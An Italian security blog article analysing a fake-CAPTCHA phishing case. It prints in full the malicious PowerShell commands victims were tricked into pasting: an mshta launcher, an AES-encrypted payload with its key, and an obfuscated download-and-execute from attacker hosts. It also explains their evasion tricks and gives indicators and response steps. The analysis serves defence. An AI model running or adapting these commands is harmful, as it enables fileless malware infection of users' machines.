Il phishing è una delle minacce informatiche più diffuse e rappresenta uno dei metodi più utilizzati dagli attaccanti per compromettere dati e sistemi. Secondo il Verizon Data Breach Investigations Report (DBIR) 2024, il 68% delle violazioni di sicurezza coinvolge un elemento umano, come un attacco di ingegneria sociale o un errore di configurazione.
Nell’ultimo decennio il phishing ha guadagnato popolarità come vettore iniziale di attacco, superando exploit più tecnici. Secondo il report IBM X-Force Threat Intelligence Index 2023 il suo utilizzo è cresciuto in modo significativo dal 2019 in poi. Le ragioni principali di questa tendenza includono le seguenti plausibili cause:
D’altro canto il phishing si è evoluto in un attacco multicanale, sfruttando diversi strumenti di comunicazione per ingannare le vittime e indurle a rivelare credenziali, installare malware o eseguire azioni dannose. Il phishing è in continua evoluzione e si adatta alle nuove tecnologie e ai comportamenti degli utenti. Il phishing non si limita più alle email, ma si diffonde attraverso SMS (smishing), chiamate telefoniche (vishing), social media e persino CAPTCHA falsi.
Di seguito verrà approfondito il tema dei fake CAPTCHA, analizzando un caso reale e i rischi ad esso associati. Prima di entrare nel dettaglio, però, facciamo un passo indietro per capire cos’è un CAPTCHA.
Il CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) è un sistema di sicurezza progettato per distinguere tra esseri umani e bot. Funziona presentando test, immagini o puzzle che solitamente solo un umano può risolvere. Il suo scopo principale è contrastare attività automatiche dannose, come spam, attacchi automatizzati e altri abusi online.
A partire da agosto 2024, sono state rilevate campagne di attacco in cui alcuni hacker hanno iniziato a creare CAPTCHA fasulli per ingannare le vittime e indurle a scaricare malware o eseguire azioni dannose.
I fake CAPTCHA sfruttano un bias cognitivo legato alla fiducia: gli utenti, abituati a completarli su numerose interfacce familiari, raramente sospettano che possano essere falsi.
Diversi studi hanno dimostrato come queste campagne di phishing vengano utilizzate per distribuire i malware Lumma Stealer e Amadey Trojan. Questi attacchi si diffondono su una vasta gamma di siti, tra cui piattaforme di giochi craccati, servizi di condivisione file, scommesse online e siti di streaming illegittimi.
I CAPTCHA autentici non prevedono reindirizzamenti o download automatici e richiedono specifiche interazioni da parte dell’utente:
Al contrario, i fake CAPTCHA spesso presentano un design poco curato, con immagini di bassa qualità, e richiedono all’utente di eseguire azioni insolite:
e potrebbero:
Analizzando i log dell’antivirus di un cliente della nostra azienda, mi sono imbattuta in un tentativo di accesso a un sito malevolo che presentava un fake CAPTHA, progettato per indurre l’utente a eseguire inconsapevolmente comandi dannosi. L’antivirus ha bloccato l’accesso alla risorsa, ma la tecnica utilizzata dall’attaccante per ingannare la vittima ha attirato la mia attenzione, spingendomi ad approfondire ulteriormente il caso.
Di conseguenza, ho analizzato il link nella sandbox pubblica ANY.RUN. Il report completo è consultabile cliccando qui. L’analisi è stata eseguita su un sistema Windows 10 Professional (build 19045, 64 bit) con la seguente versione di Microsoft Edge: 122.0.2365.59.
Il sito mostra un Fake CAPTCHA che dopo aver premuto sul tasto “I’m not a robot” chiede all’utente di:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe -w 1 -C "$l='https://iankaxo.xyz/mikona-guba.m4a'; Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=('ms' + 'hta' + '.exe '+$l)}" # ✅ ''I am not a robot: CAPTCHA Verification UID: 7811''Si osserva come il commento # ✅ ”I am not a robot: CAPTCHA Verification UID: 7811” è progettato per ingannare la vittima e far sembrare che il comando faccia parte di un normale processo di verifica CAPTCHA, inducendo la vittima a fidarsi e ad eseguirlo inconsapevolmente.
Il comando avvia una sessione di PowerShell sulla macchina della vittima con esecuzione offuscata (-w 1
) per ridurre la visibilità del terminale. Successivamente mshta.exe
scarica il file"mikona-guba.m4a"
, che nasconde un payload malevolo.
Per eseguire il codice senza generare log e aggirare i tool di sicurezza, l’attaccante usa Invoke-CimMethod
per creare un nuovo processo, evitando il monitoraggio di eseguibili noti come e cmd.exe
o powershell.exe
.
L’uso di mshta.exe
sfrutta il fatto che è un processo legittimo di Microsoft e raramente bloccato dagli antivirus, a meno di configurazioni specifiche. Inoltre, eseguendo il payload direttamente da un URL malevolo senza scrivere su disco, l’attacco risulta fileless e più difficile da rilevare dai software di sicurezza basati su firme.
Infine, il comando mshta.exe
viene offuscato tramite concatenazione dinamica (CommandLine=('ms' + 'hta' + '.exe '+$l)
), eludendo i rilevamenti basati su pattern statici.
In seguito viene eseguito il seguente comando che ha lo scopo di eseguire un payload cifrato.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w 1 -ep Unrestricted -nop function wSrNgHEjW($VRDpQNBH){-split($VRDpQNBH -replace '..', '0x$& ')}; $aOFK=wSrNgHEjW('0BD7B2DD9100ADE103EE5DECAF0349E6845B6AC04135C868B2D14858E98F3557532EEE53A277A1355F72367493506CCCF76AC4B1069D1479B6433F4302F5DF1CFC5BE5A9B073D22A0821AF9B5377A701C86F106C3196D5014A702B775F8D41A481A953F1BEF52121CD2CC6B78443BFA0B0E03FF1788E75B1227DBED4E698565B45F7C0A686178E2BA1724FAC282100AF1E4E761F58A868C415066DC2718949268CC75B5FB9CAB7E958B289393FE9695F696FF9409AAB262A1577D6C028396F60F710B1425D4AFE364CF5C6BE9105C3F5C6E2D771D5C9FC166AEEA8346F506205220EFF6F074D5C89CD8E989CC6E2D1C40B37EB27100707894CA76E305045122A51CC45DEBF8DC4B653B1DAEF13D70185C435C8D8E80F6555DB9F29B25781EEEEB646A69D496FF27F4A651E4A5D8B672892241BB4FA9BAA6DE83AEED99C004661433F33EF83746ABDB6087D8BB82CC642A37E8D06C173BF6D185485C65833642ED8B75C66F48CB96B7115EB57C57738F7DEA78CA8C65B125F16B74607CC59637E852794BB8C1BFD33E99C7B134DAF8D18D918A63C23D8ABE59D3DA8DCA58B2FCE77E3659866D1EF551E44A0B8DE729F50B6BB276782E6614782EC0F79F1E65ACCBEDDEAA6368AD73500ACD01B61BC1DF61A13012DE9601055CE05B5597E593D1795FD9BA8615A231930B09DE0F31C19306913AEE7C54D1D8EFD716CE006DCE1D542B0F9D932F2685D939C2C292DBB4845ECF6730F2330B9C7AABDBDEAFF7082BBA61A81F0E18A891ED5FF46CC667F110089D9FD07D56D8C26BF8644146A8B375308E1977F63A8E44623A7D2F6B40D168957F4D402B7AB7E84E72CDBC5EF0AE096E424267F43045AB3CD406422B1C50B4C2C2E73319164BB3F36773355AE1AF92799BD967D79630B482AA7777474D48173F8E59282070D30C0A4AC4C8DBFAB25EE1967AA7D1F69C6EBC322AF7FA9AC5C713C87A74FEECBC8CAC5B2D8FB672F452DA3C673AFD67BCC7F89491FE6E2CE8C4EA8D43B9D3A7F0393B7E90B71D0D6DE697506BD3FEBB4B823BC1B20D5A684987C94D0EAC504873DF02C51A342F226D8F3CBE9F39D78843A585C44D92B5DEA1C5D5DE5109BA6F2791FBA824BABD01F3095AA192348628A21454552E99A068B41C273E7930F33E3B2DD96BDD0AE7A2D4DB02EDB818B1D2772452241C645A2BD66BA1D1E71EA97B63577592948D54AC35C4FE0DE3B17BE744C26FF420D11D8288FA4498B2720791B34F8AC4DF7AFC4C07F3F088837FD887A9EAEB6600DA803B0FDAF8FA5EC94635F69C0F948572A763FE73554479478AECC6A79F283A31929274967568667498E21C7EADF2B59163CFB6D9089F252FC189F02DEE822FE427454C056991520CF226999C67288B0AC2D332F46'); $BibpyHDM=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor( (wSrNgHEjW('747174685470416C6C4C4D6E52767748')),[byte[]]::new(16)).TransformFinalBlock($aOFK,0,$aOFK.Length)); & $BibpyHDM.Substring(0,3) $BibpyHDM.Substring(3)
Anche questo comando presenta parametri di offuscamento e in primo luogo definisce la funzione wSrNgHEjW
, il cui scopo è convertire una stringa esadecimale in un array di byte. Questa funzione è fondamentale per la successiva decodifica del payload cifrato. La stringa esadecimale contenuta nella variabile $aOFK
rappresenta il codice che verrà decriptato prima di essere eseguito.
La decifratura avviene utilizzando l’algoritmo di crittografia simmetrico AES. Il codice genera un oggetto di crittografia e applica un decryptor, utilizzando una chiave hardcoded (747174685470416C6C4C4D6E52767748
). Il risultato della decifratura è memorizzato nella variabile $BibpyHDM
, che ora contiene una stringa di testo con un comando eseguibile.
L’ultima operazione dello script è l’esecuzione di questo comando. Per farlo, estrae i primi tre caratteri della stringa $BibpyHDM
e li usa come nome dell’eseguibile, mentre il resto della stringa viene passato come argomento. Questo permette di eseguire codice arbitrario in modo dinamico, evitando di lasciare tracce.
Infine viene avviata un’altra istanza di PowerShell con parametri di offuscamento, eseguendo il seguente comando.
C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w hidden -ep bypass -nop -Command popd; Set-Variable Z8 (.$ExecutionContext.(($ExecutionContext|Get-Member)[6].Name). GetCommand($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name). (($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).PsObject.Methods| Where{(GV _).Value.Name-clike '*om*e'}).Name). Invoke('N*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet) Net.WebClient); Set-Item Variable:\bH 'https://mapped01.sportsspot-moviebuffs.com/gubaa01.png'; (Get-Variable Z8 -ValueOnl).((((Get-Variable Z8 -ValueOnl)|Get-Member)|Where{(GV _).Value.Name-clike 'D*g'}).Name).Invoke((Get-Variable bH -ValueOnl))|&(COMMAND *ke-*pr*)
Il comando inizia con la creazione della variabile Z8
, che contiene un oggetto WebClient
. Questo componente è comunemente utilizzato per effettuare richieste HTTP e scaricare file da Internet. Tuttavia, invece di chiamarlo direttamente (New-Object Net.WebClient
), lo script utilizza una serie di riferimenti indiretti al ExecutionContext
, recuperando dinamicamente il comando necessario. Questa tecnica di offuscamento inganna i sistemi di rilevamento basati su firme.
Successivamente, la variabile bH
viene definita con un URL malevolo: "https://mapped01.sportsspot-moviebuffs.com/gubaa01.png"
. Il file scaricato, apparentemente un’immagine PNG, in realtà contiene un payload eseguibile nascosto.
Il payload viene poi scaricato ed eseguito tramite un’operazione dinamica. Lo script recupera il metodo di download dell’oggetto WebClient
senza chiamarlo direttamente, utilizzando riferimenti indiretti e wildcard (-clike 'D*g'
) per oscurare il comando reale. Dopo il download, il contenuto viene passato a un altro comando (&(COMMAND *ke-*pr*)
), che esegue il codice scaricato. L’uso di &(COMMAND)
è un’ulteriore tecnica di offuscamento che evita chiamate dirette a funzioni note come Invoke-Expression
o Start-Process
, rendendo il comportamento dello script più difficile da individuare.
L’intero attacco è progettato per essere fileless, eseguendo il codice direttamente dalla memoria senza scriverlo su disco.
L’analisi si conclude con l’esecuzione del payload malevolo. L’obiettivo dell’attaccante è ottenere il controllo remoto del sistema compromesso e garantirne la persistenza, facilitando future esecuzioni di codice malevolo. Questo intento è evidente dalle modifiche apportate a specifiche chiavi di registro visibili nella tabella sottostante.
Chiave di Registro | Valore creato | Obiettivo |
---|---|---|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | MicrosoftEdgeAutoLaunch_29EBC4579851B72EE312C449CF839B1A Contenuto: “C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe” –no-startup-window –win-session-start | Avvio automatico di Edge per garantire persistenza sul sistema |
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon | state = 1 failed_count = 0 | Garantire che determinate configurazioni restino attive anche dopo un riavvio |
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS | EnableFileTracing = 0 EnableAutoFileTracing = 0 EnableConsoleTracing = 0 FileTracingMask = “” ConsoleTracingMask = “” MaxFileSize = 1048576 FileDirectory = %windir%\tracing | Disabilita il tracciamento delle attività di PowerShell nei log del sistema |
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History | CachePrefix = “” | Altera il comportamento della cache del browser per evitare il salvataggio di tracce |
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062} | LastWasDefault = D34E88849A8C2F00 | Forza l’uso di Edge come browser predefinito e blocca gli aggiornamenti automatici |
Categoria | Dettaglio |
---|---|
URL di campione | firststepsbizz.ink/675843469dc953769e3d80b0 |
File droppati (SHA-256) | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\a46fe580-65de-491c-9139-26214a9ea8a5.tmp cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8 |
C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Last Browser 9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4 | |
C:\Users\admin\AppData\Local\Temp\chrome_Unpacker_BeginUnzipping6236_522568980\page_embed_script.js 73e3888ccbc8e0425c3d2f8d1e6a7211f7910800eede7b1e23ad43d3b21173f7 | |
C:\Users\admin\AppData\Local\Temp\chrome_Unpacker_BeginUnzipping6236_522568980\service_worker_bin_prod.js be65fdd71cd523b7e759d918e04aa2dd7cbe5f907570bb5bc367456796aa888a | |
C:\Users\admin\AppData\Local\Temp\chrome_Unpacker_BeginUnzipping6236_522568980\offscreendocument_main.js f6cc11d4a3a43b11d9408e9d2366d6388bf8733d68188ccd2969f7492d14b857 | |
C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log 47a390b1c024d1f1b32ed63b62bca008b7f092a90703a022d7bdc9f40abefe98 | |
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms 5f7907a02494b3c95341b7856e98501bea2bf342bacc28a16c5905f19b10c760 | |
Richieste DNS | firststepsbizz.ink |
gubanompostra.fly.storage.tigris.dev ❗ | |
iankaxo.xyz | |
mapped01.sportsspot-moviebuffs.com | |
Indirizzi IP Contattati | 178.162.133.193 |
149.248.213.147 ❗ | |
40.127.240.158 | |
224.0.0.251 | |
172.67.129.128 |
Step | Dettagli |
---|---|
Isolamento del dispositivo | Disconnetti il dispositivo dalla rete aziendale (Wi-Fi o Ethernet) per interrompere eventuali comunicazioni con server C2 |
Bloccare domini malevoli | Blocca i seguenti domini nel firewall/proxy: iankaxo.xyz/mikona-guba.m4a, mapped01.sportsspot-moviebuffs.com/gubaa01.png |
Analisi delle connessioni | Verifica connessioni a IP o domini sospetti. Usa netstat -ano per identificare connessioni malevole |
Controllo dei processi | Usa il Task Manager per terminare processi sospetti. Per un’analisi avanzata, utilizza MAGNET RAM Capture per individuare processi fileless |
Verifica del Task Scheduler | Individua ed elimina eventi pianificati sospetti che potrebbero eseguire codice malevolo automaticamente |
Ripristino delle chiavi di registro | Assicurati di ripristinare eventuali modifiche alle chiavi di registro e alle policy di PowerShell |
Scansione antivirus | Esegui una scansione approfondita con un antivirus professionale per rilevare e rimuovere eventuali minacce |
Analisi post-infezione | Controlla se dati sensibili sono stati esfiltrati. Analizza i log di Windows Event Viewer per eventi ID 4624 (accesso riuscito) e 4672 (privilegi speciali) |
Reset credenziali | Se sospetti furto di credenziali, reimposta immediatamente le password degli account compromessi |
Monitoraggio rete | Utilizza strumenti di analisi di rete per monitorare in tempo reale eventuali tentativi di connessione malevoli |
Ripristino da backup | Se possibile, ripristina il sistema da un backup precedente alla compromissione |
Aggiornamenti di sicurezza | Aggiorna Windows e tutti i software installati per ridurre il rischio di nuove compromissioni |
In futuro, i fake CAPTCHA potrebbero diffondersi sempre di più, poiché la maggior parte degli utenti li considera un processo legittimo e non li associa ancora a un attacco di phishing. Inoltre, le tecniche di offuscamento rendono difficile accorgersi delle attività malevole in corso sul dispositivo.
Si pensi al tasso di successo che questi attacchi potrebbero raggiungere se venissero integrati direttamente in siti legittimi compromessi.
In un contesto digitale in continua evoluzione, è essenziale adottare un approccio critico e non fidarsi ciecamente di ciò che appare familiare. Verificare sempre la legittimità delle richieste online, prestare attenzione a possibili anomalie e rimanere aggiornati sulle nuove minacce sono la chiave per evitare di cadere vittima delle minacce informatiche.
© Copyright Dottor Marc S.r.l. - P.IVA IT04569090238 - Tutti i diritti riservati - Privacy policy